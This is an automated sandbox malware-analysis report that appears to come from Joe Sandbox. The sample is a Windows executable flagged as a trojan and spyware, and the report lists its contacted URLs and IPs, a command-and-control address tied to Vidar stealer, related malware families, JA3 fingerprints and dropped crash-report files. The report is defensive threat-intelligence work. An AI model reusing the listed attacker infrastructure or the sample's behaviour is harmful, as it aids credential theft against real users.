https://login.steampowered.com/	aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://65.109.142.154/C	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.c	aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=	76561199786602107[1].htm.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
http://cowod.hopto.org/	aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003B3D000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://recaptcha.net	aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.6.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199786602107vR.	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/	76561199786602107[1].htm.0.dr	false	URL Reputation: safe	unknown
http://127.0.0.1:27060	aZm1EZ2IYr.exe, 00000000.00000003.1926014370.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925541489.0000000003AE9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.oudflare	aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp	false		unknown
https://steamcommunity.com/profiles/76561199786602107/badges	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1948655948.0000000003AD2000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003AD2000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	aZm1EZ2IYr.exe, 00000000.00000003.1963012121.0000000003AE8000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1962940086.0000000003AE5000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2043565161.0000000003ADF000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000003.1925949975.0000000003ADE000.00000004.00000020.00020000.00000000.sdmp, aZm1EZ2IYr.exe, 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, 76561199786602107[1].htm.0.dr	false		unknown
https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	76561199786602107[1].htm.0.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
65.109.142.154	unknown	United States	11022	ALABANZA-BALTUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538067
Start date and time:	2024-10-20 08:34:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	aZm1EZ2IYr.exe renamed because original name is a hash value
Original Sample Name:	1e1d5412616216fd90ea3cb6a87353db.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/11@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 47 Number of non-executed functions: 102
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.208.16.94
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com, onedsblobprdcus16.centralus.cloudapp.azure.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:35:26	API Interceptor	1x Sleep call for process: aZm1EZ2IYr.exe modified
02:35:34	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm
65.109.142.154	Unlock_Tool_2.4.exe	Get hash	malicious	Vidar	Browse
65.109.142.154	yAkRyU2LPe.exe	Get hash	malicious	Vidar	Browse
149.154.167.99	http://xn--r1a.website/s/ogorodru	Get hash	malicious	Unknown	Browse	telegram.org/img/favicon.ico
	http://cryptorabotakzz.com/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://cache.netflix.com.id1.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/dl?tme=fe3233c08ff79d4814_5062105595184761217
	http://investors.spotify.com.sg2.wuush.us.kg/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://bekaaviator.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegramtw1.org/	Get hash	malicious	Unknown	Browse	telegram.org/?setln=pl
	http://makkko.kz/	Get hash	malicious	Unknown	Browse	telegram.org/
	http://telegram.dog	Get hash	malicious	Unknown	Browse	telegram.dog/
	LnSNtO8JIa.exe	Get hash	malicious	Cinoshi Stealer	Browse	t.me/cinoshibot
	jtfCFDmLdX.exe	Get hash	malicious	Gurcu Stealer, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, zgRAT	Browse	t.me/cinoshibot

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	Unlock_Tool_2.4.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	SecuriteInfo.com.Win32.DropperX-gen.7855.32539.exe	Get hash	malicious	Xehook Stealer	Browse	149.154.167.99
	https://njanimallaw.com/divorce-family-law/	Get hash	malicious	Unknown	Browse	162.241.217.237
	https://linkifly.net/TRACKING	Get hash	malicious	Unknown	Browse	50.6.153.232
	https://hwu.iaa.mybluehost.me/vvvop/SEEKKK/	Get hash	malicious	Unknown	Browse	50.6.153.232
	nvANxkZUSC.elf	Get hash	malicious	Mirai	Browse	194.120.230.54
	http://7xv6.mjt.lu/lnk/AXMAAFFvlI0AAAAAAAAAA8Ye8moAAABKhgwAAAAAAAq7pgBnByOSeYt8cGpTTPaPBTAKJeV-UQAKnpI/1/EWmySlSHcyP6g54g0SDc-g/aHR0cHM6Ly9zbmlwLmx5L2V6NGxydw	Get hash	malicious	Unknown	Browse	50.6.153.26
steamcommunity.com	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	cH4EGgNUR7.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	6FecO9d3l9.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	2WWOAq4c3b.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	EY2raBetTi.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	S3AYU5t2JP.exe	Get hash	malicious	LummaC, Amadey, Stealc	Browse	104.102.49.254
	PTc16LnPI5.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	yRMHuXP8fH.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Unlock_Tool_2.4.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	PROFOMA INVOICE 90021144577.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	routcrying.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	mnobizx.com.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	mnobizx.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.Win32.DropperX-gen.7855.32539.exe	Get hash	malicious	Xehook Stealer	Browse	149.154.167.99
	rcota____oRFQNO-N__merodopedido106673.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.Win64.Malware-gen.32485.11504.exe	Get hash	malicious	Python Stealer, Braodo	Browse	149.154.167.220
	Wuerth_factura_4052073226..exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	KIDy5J5su4.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
ALABANZA-BALTUS	Unlock_Tool_2.4.exe	Get hash	malicious	Vidar	Browse	65.109.142.154
	yAkRyU2LPe.exe	Get hash	malicious	Vidar	Browse	65.109.142.154
	y45bCpZY1I.exe	Get hash	malicious	Vidar	Browse	65.109.241.236
	xy894fdlWJ.exe	Get hash	malicious	Vidar	Browse	65.109.241.236
	yakuza.sparc.elf	Get hash	malicious	Unknown	Browse	64.176.208.213
	file.exe	Get hash	malicious	Vidar	Browse	65.109.241.236
	file.exe	Get hash	malicious	Unknown	Browse	65.109.241.236
	PURCHASE_ORDER.exe	Get hash	malicious	DBatLoader, Remcos	Browse	64.176.178.205
	http://nndpdnm.3utilities.com/#bd5on/p8la73b/LoiU9/1oQd1tRDE-SUREIDANt92YuMXZpJHZuV3bmxWYi9GbnBUY5hGZhBHc15Cdp1WY	Get hash	malicious	HTMLPhisher	Browse	65.108.133.178
	ZRemI0ixC6.dll	Get hash	malicious	BumbleBee	Browse	65.108.214.195
AKAMAI-ASUS	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	cH4EGgNUR7.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	6FecO9d3l9.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	2WWOAq4c3b.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	EY2raBetTi.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	S3AYU5t2JP.exe	Get hash	malicious	LummaC, Amadey, Stealc	Browse	104.102.49.254
	PTc16LnPI5.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	yRMHuXP8fH.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	Unlock_Tool_2.4.exe	Get hash	malicious	Vidar	Browse	65.109.142.154
	yAkRyU2LPe.exe	Get hash	malicious	Vidar	Browse	65.109.142.154
	y45bCpZY1I.exe	Get hash	malicious	Vidar	Browse	65.109.142.154
	xy894fdlWJ.exe	Get hash	malicious	Vidar	Browse	65.109.142.154
	file.exe	Get hash	malicious	Vidar	Browse	65.109.142.154
	file.exe	Get hash	malicious	Unknown	Browse	65.109.142.154
	EP2E1yYJyT.exe	Get hash	malicious	Unknown	Browse	65.109.142.154
	9evHLnwull.exe	Get hash	malicious	Vidar	Browse	65.109.142.154
	tiCW7a3x1P.exe	Get hash	malicious	Vidar	Browse	65.109.142.154
	SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe	Get hash	malicious	Vidar, Xmrig	Browse	65.109.142.154
37f463bf4616ecd445d4a1937da06e19	Unlock_Tool_2.4.exe	Get hash	malicious	Vidar	Browse	104.102.49.254 149.154.167.99
	JuyR4wj8av.exe	Get hash	malicious	Stealc, Vidar	Browse	104.102.49.254 149.154.167.99
	SecuriteInfo.com.FileRepMalware.4445.21502.exe	Get hash	malicious	Unknown	Browse	104.102.49.254 149.154.167.99
	yAkRyU2LPe.exe	Get hash	malicious	Vidar	Browse	104.102.49.254 149.154.167.99
	EL7ggW7AdA.exe	Get hash	malicious	Stealc, Vidar	Browse	104.102.49.254 149.154.167.99
	y45bCpZY1I.exe	Get hash	malicious	Vidar	Browse	104.102.49.254 149.154.167.99
	xy894fdlWJ.exe	Get hash	malicious	Vidar	Browse	104.102.49.254 149.154.167.99
	SecuriteInfo.com.Win32.Evo-gen.14702.4787.exe	Get hash	malicious	KoiLoader	Browse	104.102.49.254 149.154.167.99
	4b7b5bc7b0d1f70adf6b80390f1273723c409b837c957.dll	Get hash	malicious	Unknown	Browse	104.102.49.254 149.154.167.99
	Megrendel#U00e9s 202401378.vbs	Get hash	malicious	FormBook, GuLoader	Browse	104.102.49.254 149.154.167.99

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_aZm1EZ2IYr.exe_b472e834091e64353d02c5689452117e2161926_ac611e5f_7d43e3d9-5d04-4320-91f6-e292046f10e0\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1603036054723175
Encrypted:	false
SSDEEP:	192:gGSlvLZsHW0BU/Yj7UZr2QhmdzuiF7Z24IO83H:ulvLiH9BU/YjZtdzuiF7Y4IO83H
MD5:	7BD11AEC86DE96C53A821C5E744610CF
SHA1:	9C4CD0EA674D12D6AC13C71AFBA6D283A71566BF
SHA-256:	0623C8DF17E6BB3257698FFF66A3A6ADFE827FBE032D38B2ED606FCCC323B575
SHA-512:	A7D9FC1524AFBAC981828B9D711DFEDE2C250C8B69247DB91D136DF84126C59371A636F2B8E9BF27B1CF4C139903D4F9E97AE8A19DB5481D8A372882910F2018
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.3.8.7.9.7.2.8.0.9.6.2.2.2.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.3.8.7.9.7.2.9.2.8.3.7.3.1.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.d.4.3.e.3.d.9.-.5.d.0.4.-.4.3.2.0.-.9.1.f.6.-.e.2.9.2.0.4.6.f.1.0.e.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.a.0.7.f.2.d.4.-.9.e.3.1.-.4.6.1.e.-.9.9.e.f.-.e.b.5.d.3.6.5.0.8.2.b.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.a.Z.m.1.E.Z.2.I.Y.r...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.a.8.-.0.0.0.1.-.0.0.1.4.-.a.7.5.4.-.f.4.2.d.b.a.2.2.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.d.1.0.1.3.7.d.e.d.5.c.d.7.d.c.1.e.9.a.e.a.5.e.f.4.2.f.d.4.1.5.0.0.0.0.f.f.f.f.!.0.0.0.0.d.a.0.a.e.9.9.a.e.b.b.d.e.6.4.3.3.c.8.d.c.9.8.5.e.8.c.8.b.2.3.0.5.c.d.b.9.b.5.4.!.a.Z.m.1.E.Z.2.I.Y.r...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_aZm1EZ2IYr.exe_b472e834091e64353d02c5689452117e2161926_ac611e5f_c325af49-0a9f-41f3-819f-eca31df3b74a\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1389179810418568
Encrypted:	false
SSDEEP:	192:4l4LUzHW0JnFwj7UZr2Qhm4zuiF7Z24IO83HiB:4l4LgH9JnFwjZt4zuiF7Y4IO83HiB
MD5:	BB0DE6E437D966CA7BB36BB2CAA0CDC2
SHA1:	E89F00E9D12A2016E643CEBEBE2F7FC4130317AE
SHA-256:	4D9F4F84C28B6EA5D549E09EABE73CCB5D8204AC4AC075B8C9595C09895AE519
SHA-512:	8F63B22FF23889CB5768A7B767F69C44A58541858AC8F53E1215421E742674A022146970526567784CE0C23DC410829CD571BED0D30FC87BDDA8C4969252497E
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.3.8.7.9.7.2.7.0.1.8.1.1.0.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.3.2.5.a.f.4.9.-.0.a.9.f.-.4.1.f.3.-.8.1.9.f.-.e.c.a.3.1.d.f.3.b.7.4.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.7.9.e.e.4.c.c.-.c.3.6.b.-.4.2.7.b.-.b.d.5.3.-.7.2.f.0.d.1.3.4.f.d.a.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.a.Z.m.1.E.Z.2.I.Y.r...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.a.8.-.0.0.0.1.-.0.0.1.4.-.a.7.5.4.-.f.4.2.d.b.a.2.2.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.d.1.0.1.3.7.d.e.d.5.c.d.7.d.c.1.e.9.a.e.a.5.e.f.4.2.f.d.4.1.5.0.0.0.0.f.f.f.f.!.0.0.0.0.d.a.0.a.e.9.9.a.e.b.b.d.e.6.4.3.3.c.8.d.c.9.8.5.e.8.c.8.b.2.3.0.5.c.d.b.9.b.5.4.!.a.Z.m.1.E.Z.2.I.Y.r...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.1.0././.0.7.:.2.0.:.0.3.:.3.2.!.5.f.e.8.2.!.a.Z.m.1.E.Z.2.I.Y.r...e.x.e.....B.o.o.t.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER49D9.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sun Oct 20 06:35:27 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	174320
Entropy (8bit):	1.9767900190997831
Encrypted:	false
SSDEEP:	768:SPtKwUdRXutXhVv2g53GVbW7kQZ9IDxQ0XznwZuMLtYAAnFqW/agyOFPP:YgwtxJ53GVbWwQZ9Qx77S5tWagyOh
MD5:	A86FE3F84FA1E496D9C529808CBD0A33
SHA1:	E7ED2A84B9B86693E24DADBB4A54BD37E3333705
SHA-256:	C08843040DAE459F3361A181BDE0FC8AE6402F45DBBF020DE50999902BF0E89E
SHA-512:	303E1AFD42BD6F713351F12D0792B1A14C12B74A80597CC334669FEDD250662C9FA03EAE56E0E98D0880330B62454D42424C487D433DFD584A5D4FDE28480EE1
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ..........g......................... ..(.......$....)......d....V..........`.......8...........T...........xV..xR...........)...........+..............................................................................eJ......P,......GenuineIntel............T..............g.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4B41.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8352
Entropy (8bit):	3.6986790189691052
Encrypted:	false
SSDEEP:	192:R6l7wVeJYS6TQ6Y9nSUPgmfSaK/p0t89bAi1fQgm:R6lXJ16TQ6YtSUPgmfSaKNAYfu
MD5:	DB6C2483F54C89F5E72CFFE005705994
SHA1:	16377F57072EC673A3C4AE294A544263E1985327
SHA-256:	BF93910DC9FC3661F3CC49DE45D26A453A8EFC58CC532D193C4E92114E1E9568
SHA-512:	9F6DF3C4F90E2E87AC4CCDC066BC55480DE37D4CFCCE59DC9488D7EA6DF0F1CE41F183DF66A067AAF0E1242DC617B39A1288CA68D6574B3C43A683E54583F232
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.3.3.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4B71.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4593
Entropy (8bit):	4.466544294519342
Encrypted:	false
SSDEEP:	96:uIjfxnI7NR7V6JGLDsO5aI05uZ92uq2ukd:uItnYNR70yOQUK
MD5:	AF77C37E0D21EEA8C2DD614FF1109618
SHA1:	5CE4CB2224265414F634F0917CFF6D1DC3E3D1E2
SHA-256:	13B0412FB153CEE126B0287581A63C5C330DDAF28289BDACB29A213FE4CD6F1E
SHA-512:	291702554583C339CD99733D194ACBDF90411B80144F73B701A353FF7C00004FDD42F7359A9A7F1F048E95E0AE09BA647F0C6F119A93ABB657A0032C2B726A5F
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="551378" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4E0F.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sun Oct 20 06:35:28 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	188078
Entropy (8bit):	1.9071525541392529
Encrypted:	false
SSDEEP:	768:7HoGXdRle3sj9aEc+QZ9IZxQUm5IJvnFqz/ZI8UJZ:7Ho3GsEc+QZ92xDm5IJvWZI3J
MD5:	D0FF1FCCBE1C337AA132BB4FFDD87FBA
SHA1:	CC0C6F07FC5C03F8C1612FAF477E403FB2B881F4
SHA-256:	B08C1A3F169290F88B2E4356C9FE33CC0A08A00F4B0D525567EF31A0113E46A1
